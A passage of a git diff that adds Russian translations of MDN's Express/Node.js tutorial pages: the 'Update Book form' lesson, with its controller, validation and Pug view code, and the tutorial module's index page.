website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html new file mode 100644 index 0000000000..16172605d1 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html @@ -0,0 +1,189 @@ +--- +title: Update Book form +slug: Learn/Server-side/Express_Nodejs/forms/Update_Book_form +translation_of: Learn/Server-side/Express_Nodejs/forms/Update_Book_form +--- +<p><a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms$edit#Update_Book_form" rel="nofollow, noindex"><span>Edit</span></a>Наконец, в разделе показано, как определить страницу для обновления объектов <code>Book</code>. Обработка форм при обновлении книги аналогична обработке форм при создании книги, за исключением того, что необходимо заполнить форму в маршруте <code>GET</code> значениями из базы данных.</p> + +<h2 class="highlight-spanned" id="Controller—get_route"><span class="highlight-span">Controller—get route</span></h2> + +<p>Откройте <strong>/controllers/bookController.js</strong>. Найдите экспортируемый метод контроллера <code>book_update_get()</code> и замените его на следующий код.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display book update form on GET.</span> +exports<span class="punctuation token">.</span>book_update_get <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + <span class="comment token">// Get book, authors and genres for form.</span> + <span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + book<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Book<span class="punctuation token">.</span><span class="function token">findById</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>params<span class="punctuation token">.</span>id<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'genre'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + authors<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + genres<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Genre<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>results<span class="punctuation token">.</span>book<span class="operator token">==</span><span class="keyword token">null</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// No results.</span> + <span class="keyword token">var</span> err <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Error</span><span class="punctuation token">(</span><span class="string token">'Book not found'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + err<span class="punctuation token">.</span>status <span class="operator token">=</span> <span class="number token">404</span><span class="punctuation token">;</span> + <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="comment token">// Success.</span> + <span class="comment token">// Mark our selected genres as checked.</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> all_g_iter <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> all_g_iter <span class="operator token"><</span> results<span class="punctuation token">.</span>genres<span class="punctuation token">.</span>length<span class="punctuation token">;</span> all_g_iter<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> book_g_iter <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> book_g_iter <span class="operator token"><</span> results<span class="punctuation token">.</span>book<span class="punctuation token">.</span>genre<span class="punctuation token">.</span>length<span class="punctuation token">;</span> book_g_iter<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>all_g_iter<span class="punctuation token">]</span><span class="punctuation token">.</span>_id<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="operator token">==</span>results<span class="punctuation token">.</span>book<span class="punctuation token">.</span>genre<span class="punctuation token">[</span>book_g_iter<span class="punctuation token">]</span><span class="punctuation token">.</span>_id<span class="punctuation token">.</span><span class="function token">toString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>all_g_iter<span class="punctuation token">]</span><span class="punctuation token">.</span>checked<span class="operator token">=</span><span class="string token">'true'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Update Book'</span><span class="punctuation token">,</span> authors<span class="punctuation token">:</span>results<span class="punctuation token">.</span>authors<span class="punctuation token">,</span> genres<span class="punctuation token">:</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">,</span> book<span class="punctuation token">:</span> results<span class="punctuation token">.</span>book <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>Контроллер получит id <code>Book</code> книги для обновления из параметра URL (<code>req.params.id</code>). Он использует метод <code>async.parallel()</code>чтобы получить указанную запись <code>Book</code> (pаполнение полей жанра и автора) и список всех объектов <code>Author</code> и <code>Genre</code>. Когда все операции завершены, он помечает выбранные жанры как отмеченные, а затем отображает их в <strong>book_form.pug</strong>, передает переменные <code>itle</code>, book, всех <code>authors</code>, и все<code>genres</code>.</p> + +<h2 class="highlight-spanned" id="Controller—post_route"><span class="highlight-span">Controller—post route</span></h2> + +<p>Найдите экспортируемый метод контроллера <code>book_update_post()</code> и замените его следующим кодом.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Handle book update on POST.</span> +exports<span class="punctuation token">.</span>book_update_post <span class="operator token">=</span> <span class="punctuation token">[</span> + + <span class="comment token">// Convert the genre to an array</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre <span class="keyword token">instanceof</span> <span class="class-name token">Array</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">typeof</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">===</span><span class="string token">'undefined'</span><span class="punctuation token">)</span> + req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">=</span><span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span> + <span class="keyword token">else</span> + req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">=</span><span class="keyword token">new</span> <span class="class-name token">Array</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + + <span class="comment token">// Validate fields.</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'Title must not be empty.'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">,</span> <span class="string token">'Author must not be empty.'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'summary'</span><span class="punctuation token">,</span> <span class="string token">'Summary must not be empty.'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">body</span><span class="punctuation token">(</span><span class="string token">'isbn'</span><span class="punctuation token">,</span> <span class="string token">'ISBN must not be empty'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">isLength</span><span class="punctuation token">(</span><span class="punctuation token">{</span> min<span class="punctuation token">:</span> <span class="number token">1</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Sanitize fields.</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'summary'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'isbn'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + <span class="function token">sanitizeBody</span><span class="punctuation token">(</span><span class="string token">'genre.*'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">trim</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">escape</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + + <span class="comment token">// Process request after validation and sanitization.</span> + <span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> + + <span class="comment token">// Extract the validation errors from a request.</span> + <span class="keyword token">const</span> errors <span class="operator token">=</span> <span class="function token">validationResult</span><span class="punctuation token">(</span>req<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="comment token">// Create a Book object with escaped/trimmed data and old id.</span> + <span class="keyword token">var</span> book <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Book</span><span class="punctuation token">(</span> + <span class="punctuation token">{</span> title<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>title<span class="punctuation token">,</span> + author<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>author<span class="punctuation token">,</span> + summary<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>summary<span class="punctuation token">,</span> + isbn<span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>isbn<span class="punctuation token">,</span> + genre<span class="punctuation token">:</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="operator token">===</span><span class="string token">'undefined'</span><span class="punctuation token">)</span> <span class="operator token">?</span> <span class="punctuation token">[</span><span class="punctuation token">]</span> <span class="punctuation token">:</span> req<span class="punctuation token">.</span>body<span class="punctuation token">.</span>genre<span class="punctuation token">,</span> + _id<span class="punctuation token">:</span>req<span class="punctuation token">.</span>params<span class="punctuation token">.</span>id <span class="comment token">//This is required, or a new ID will be assigned!</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>errors<span class="punctuation token">.</span><span class="function token">isEmpty</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// There are errors. Render form again with sanitized values/error messages.</span> + + <span class="comment token">// Get all authors and genres for form.</span> + <span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + authors<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + genres<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Genre<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + + <span class="comment token">// Mark our selected genres as checked.</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">let</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token"><</span> results<span class="punctuation token">.</span>genres<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>book<span class="punctuation token">.</span>genre<span class="punctuation token">.</span><span class="function token">indexOf</span><span class="punctuation token">(</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>_id<span class="punctuation token">)</span> <span class="operator token">></span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + results<span class="punctuation token">.</span>genres<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>checked<span class="operator token">=</span><span class="string token">'true'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_form'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Update Book'</span><span class="punctuation token">,</span>authors<span class="punctuation token">:</span>results<span class="punctuation token">.</span>authors<span class="punctuation token">,</span> genres<span class="punctuation token">:</span>results<span class="punctuation token">.</span>genres<span class="punctuation token">,</span> book<span class="punctuation token">:</span> book<span class="punctuation token">,</span> errors<span class="punctuation token">:</span> errors<span class="punctuation token">.</span><span class="function token">array</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="punctuation token">{</span> + <span class="comment token">// Data from form is valid. Update the record.</span> + Book<span class="punctuation token">.</span><span class="function token">findByIdAndUpdate</span><span class="punctuation token">(</span>req<span class="punctuation token">.</span>params<span class="punctuation token">.</span>id<span class="punctuation token">,</span> book<span class="punctuation token">,</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span>thebook<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful - redirect to book detail page.</span> + res<span class="punctuation token">.</span><span class="function token">redirect</span><span class="punctuation token">(</span>thebook<span class="punctuation token">.</span>url<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre> + +<p>Это очень похоже на маршрут записи, используемый при создании Book. Сперва мы проверяем и очищаем данные книги и используем их для создание нового объекта <code>Book</code>(устанавливая его значение <code>_id</code> в идентификатор объекта для обновления). Если есть ошибки, когда мы проверяем данные, то мы повторно представляем форму, дополнительно отображая данные, введенные пользователем, ошибки, а также списки жанров и авторов. Если ошибок нет, то мы вызываем <code>Book.findByIdAndUpdate()</code> для обновления документа <code>Book</code>, а затем перенаправить на страницу сведений.</p> + +<h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2> + +<p>Откройте <strong>/views/book_form.pug</strong> и обновите раздел, в котором элемент управления "форма автора" имеет условный код, показанный ниже.</p> + +<pre class="line-numbers language-html"><code class="language-html"> div.form-group + label(for='author') Author: + select#author.form-control(type='select' placeholder='Select author' name='author' required='true' ) + for author in authors + if book + //- Handle GET form, where book.author is an object, and POST form, where it is a string. + option( + value=author._id + selected=( + author._id.toString()==book.author._id + || author._id.toString()==book.author + ) ? 'selected' : false + ) #{author.name} + else + option(value=author._id) #{author.name}</code></pre> + +<div class="note"> +<p><strong>Note</strong>: Это изменение кода необходимо для того, чтобы форму book_form можно было использовать как для создания, так и для обновления объектов book (без этого при создании формы на маршруте <code>GET</code> возникает ошибка).</p> +</div> + +<h2 class="highlight-spanned" id="Добавить_кнопку_обновления">Добавить кнопку обновления</h2> + +<p>Откройте <strong>book_detail.pug</strong> и убедитесь, что есть ссылки для удаления и обновления книг в нижней части страницы, как показано ниже.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"> hr + p + a(href=book.url+'/delete') Delete Book + p + a(href=book.url+'/update') Update Book</code></pre> + +<p>Теперь вы можете обновлять книги со страницы сведений о книге.</p> + +<h2 class="highlight-spanned" id="Как_это_выглядит"><span class="highlight-span">Как это выглядит?</span></h2> + +<p>Запустите приложение, откройте ваш браузер на <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>, выберите ссылку <em>All books</em>, затем выберите конкретную книгу. Наконец, выберите ссылку <em>Update Book</em>.</p> + +<p>Форма должна выглядеть так же, как страница <em>Create book</em>, только с заголовком 'Update book' и предварительно заполнены значениями записей.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14498/LocalLibary_Express_Book_Update_NoErrors.png" style="border-style: solid; border-width: 1px; display: block; height: 443px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>Note:</strong> Другие страницы для обновления объектов могут быть реализованы примерно таким же образом. Мы оставили это как задание.</p> +</div> + +<p> </p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a>.</li> +</ul> + +<p> </p> diff --git a/files/ru/learn/server-side/express_nodejs/index.html b/files/ru/learn/server-side/express_nodejs/index.html new file mode 100644 index 0000000000..9c1f44a50f --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/index.html @@ -0,0 +1,77 @@ +--- +title: Веб-фреймворк Express (Node.js/JavaScript) +slug: Learn/Server-side/Express_Nodejs +tags: + - Express + - Express.js + - Введение + - Для начинающих + - Программирование на стороне сервера + - Учебник +translation_of: Learn/Server-side/Express_Nodejs +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Express представляет собой популярный веб-фреймворк, написанный на JavaScript и работающий внутри среды исполнения node.js. Этот модуль освещает некоторые ключевые преимущества этого фреймворка, установку среды разработки и выполнение основных задач веб-разработки и развертывания.</p> + +<h2 id="Предварительные_требования">Предварительные требования</h2> + +<p>Перед началом этого модуля вам необходимо представлять, что из себя представляет серверное программирование и веб-фреймворки, желательно из прочтения статей другого модуля <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a>. Знакомство с основными концепциями программирования и языком программирования <a href="/en-US/docs/Web/JavaScript">JavaScript</a> будет очень полезным, но оно не является обязательным для понимания базовых понятий этого модуля.</p> + +<div class="note"> +<p><strong>Заметка</strong>: Этот веб-сайт содержит множество источников для изучения JavaScript<em> в контексте разработки на стороне клиента</em>: <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Basics</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> (изучение). Ключевые особенности и коцепции языка JavaScript остаются сходными и для серверной разработки на Node.js и используемый материал достаточно релевантен. Node.js предоставляет <a href="https://nodejs.org/dist/latest-v6.x/docs/api/">additional APIs</a> для обеспечения функционала, который полезен для "безбраузерной" разработки, т.е. для создания HTTP-сервера и доступа к файловой системе, но не поддерживает JavaScript APIs для работы с браузером и DOM.</p> + +<p>Это руководство обеспечит вас некоторой информацией о работе с Node.js и Express, но также существуют и другие многочисленные отличные ресурсы в Интернете и книгах — некоторые из них доступны из тем <a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) и <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora).</p> +</div> + +<h2 id="Руководства">Руководства</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Введение в Express/Node</a></dt> + <dd>В первой статье об Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?" и дадим вам представление о том, что делает веб-фреймворк Express особенным. <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_3">Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложений Express (хотя на данный момент у вас еще нет среды разработки, в которой можно ее протестировать)</span>.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Настройка среды разработки Node (Express)</a></dt> + <dd> + <div style="padding-bottom: 30px;"><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">Теперь, когда вы знаете, что такое Express, мы покажем вам, как настроить и протестировать среду разработки Node/Express в Windows, Linux (Ubuntu) и Mac OS X. Независимо от того, какую популярную операционную систему вы используете, эта статья </span><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_1">даст вам то, что вам нужно, чтобы начать разработку приложений Express.</span></div> + </dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Учебник Express: сайт LocalLibrary</a></dt> + <dd> + <div style="padding-bottom: 30px;"><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">Первая статья в нашей серии практических уроков объясняет, что вы будете изучать, и предоставит обзор веб-сайта «локальной библиотеки», над которым мы будем работать и развивать в последующих статьях.</span></div> + </dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Учебник Express часть 2: Создание скелета веб-сайта</a></dt> + <dd> + <div style="padding-bottom: 30px;"><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">В этой статье показано, как вы можете создать «скелет»</span><span class="s3gt_translate_tooltip_variant"> веб-сайта, который затем можно будет заполнить с помощью маршрутов сайта, шаблонов/представлений и баз данных.</span></div> + </dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Учебник Express часть 3: Использование базы данных (с помощью Mongoose)</a></dt> + <dd>В этой статье кратко представлены базы данных для Node/Express. Затем показывается, как мы можем использовать <a href="http://mongoosejs.com/">Mongoose</a> для обеспечения доступа к баз данных для сайта <em>LocalLibrary</em>. <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_2">В уроке объясняется, как объявляются объектная схема и модели, основные типы полей и базовая валидация.</span> <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_3">Также кратко показаны некоторые из основных способов доступа к данным модели.</span></dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Учебник Express часть 4: Маршруты и контроллеры</a></dt> + <dd>В этом уроке мы создадим маршруты (код обработки URL) с "фиктивным" обработчиком функций для всех конечных точек ресурсов, которые нам в конечном итоге понадобятся для сайта<em> LocalLibrary</em>. По завершении мы будем иметь модульную структуру нашего кода обработки маршрута, который мы можем расширить с помощью функций реального обработчика в следующих статьях. Мы также будем очень хорошо понимать, как создавать модульные маршруты, используя Express.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Учебник Express часть 5: Отображение данных библиотеки</a></dt> + <dd>Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта <em>LocalLibrary</em> и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определенного типа мы имеем и отдельную страницу для детального просмотра записи. По пути мы получим практический опыт в получении записей из баз данных и использовании шаблонов.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Учебник Express часть 6: Работы с формами</a></dt> + <dd>В этой части мы покажем вам, как работать с <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML формами</a> в Express, используя Pug, и в частности, как создавать, обновлять и удалять документы из базы данных.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Учебник Express часть 7: Выкладка в production</a></dt> + <dd>Теперь когда вы создали восхитительный сайт <em>LocalLibrary</em>, вы захотите установить его на общедоступном сервере, чтобы он мог дать доступ персоналу библиотеки и пользователям в Интернет. В этой статье представлен обзор того, как вы можете найти хост для развертывания вашего сайта и что вам нужно сделать, чтобы подготовить ваш сайт к публикации.</dd> +</dl> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<dl> + <dt><a 